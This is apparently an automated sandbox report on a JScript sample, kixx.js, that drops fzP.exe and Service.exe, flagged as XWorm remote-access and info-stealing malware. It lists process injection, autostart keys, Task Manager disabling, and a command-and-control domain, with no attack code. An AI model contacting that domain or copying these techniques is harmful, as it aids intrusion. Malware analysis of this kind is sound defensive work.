Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process created: C:\Users\user\AppData\Local\Temp\fzP.exe "C:\Users\user\AppData\Local\Temp\fzP.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Source: C:\Users\user\AppData\Roaming\Service.exe Process created: C:\Users\user\AppData\Roaming\Service.exe "C:\Users\user\AppData\Roaming\Service.exe"
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Users\user\AppData\Local\Temp\fzP.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Users\user\AppData\Roaming\Service.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Service.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Contains functionality to disable the Task Manager (.Net Source)
Source: fzP.exe.0.dr, Program.cs .Net Code: TaskMan
Source: 0.3.wscript.exe.1af3297ee40.0.raw.unpack, Program.cs .Net Code: TaskMan
Source: 0.2.wscript.exe.1af32851b90.0.raw.unpack, Program.cs .Net Code: TaskMan
Source: 0.3.wscript.exe.1af3297ee40.1.raw.unpack, Program.cs .Net Code: TaskMan
Source: Service.exe.2.dr, Program.cs .Net Code: TaskMan

Stealing of Sensitive Information
barindex
Yara detected XWorm
Source: Yara match File source: 5.2.fzP.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.fzP.exe.3232718.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2ddc78c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.fzP.exe.3235fac.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2ddab48.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.fzP.exe.3234350.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2dde3e8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2cd2728.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.fzP.exe.2bda998.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.fzP.exe.2bdc5f4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2cd4360.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2cd5fbc.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.fzP.exe.2bd8d54.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2185105429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2241713561.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2158395639.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2241713561.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2048562319.00000000031F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: fzP.exe PID: 2748, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fzP.exe PID: 4308, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fzP.exe PID: 6984, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Service.exe PID: 1360, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected XWorm
Source: Yara match File source: 5.2.fzP.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.fzP.exe.3232718.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2ddc78c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.fzP.exe.3235fac.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2ddab48.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.fzP.exe.3234350.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2dde3e8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2cd2728.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.fzP.exe.2bda998.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.fzP.exe.2bdc5f4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2cd4360.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Service.exe.2cd5fbc.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.fzP.exe.2bd8d54.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2185105429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2241713561.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2158395639.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2241713561.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2048562319.00000000031F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: fzP.exe PID: 2748, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fzP.exe PID: 4308, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fzP.exe PID: 6984, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Service.exe PID: 1360, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1523187 Sample: kixx.js Startdate: 01/10/2024 Architecture: WINDOWS Score: 100 52 kizitodavina.duckdns.org 2->52 54 Multi AV Scanner detection for domain / URL 2->54 56 Found malware configuration 2->56 58 Malicious sample detected (through community Yara rule) 2->58 62 10 other signatures 2->62 8 wscript.exe 1 2 2->8         started        12 fzP.exe 4 2->12         started        14 Service.exe 5 2->14         started        16 fzP.exe 2->16         started        signatures3 60 Uses dynamic DNS services 52->60 process4 file5 50 C:\Users\user\AppData\Local\Temp\fzP.exe, PE32 8->50 dropped 72 Benign windows process drops PE files 8->72 74 JScript performs obfuscated calls to suspicious functions 8->74 76 Windows Scripting host queries suspicious COM object (likely to drop second stage) 8->76 18 fzP.exe 2 4 8->18         started        78 Injects a PE file into a foreign processes 12->78 22 Service.exe 12->22         started        24 fzP.exe 12->24         started        26 fzP.exe 12->26         started        32 3 other processes 12->32 80 Antivirus detection for dropped file 14->80 82 Machine Learning detection for dropped file 14->82 28 Service.exe 14->28         started        30 Service.exe 14->30         started        34 3 other processes 14->34 36 5 other processes 16->36 signatures6 process7 file8 48 C:\Users\user\AppData\Roaming\Service.exe, PE32 18->48 dropped 64 Antivirus detection for dropped file 18->64 66 Machine Learning detection for dropped file 18->66 68 Creates multiple autostart registry keys 18->68 38 fzP.exe 3 18->38         started        70 Injects a PE file into a foreign processes 22->70 40 Service.exe 22->40         started        42 Service.exe 22->42         started        44 Service.exe 22->44         started        46 2 other processes 22->46 signatures9 process10
⊘No contacted IP infos

Contacted Domains

Name IP Active
kizitodavina.duckdns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
kizitodavina.duckdns.org true unknown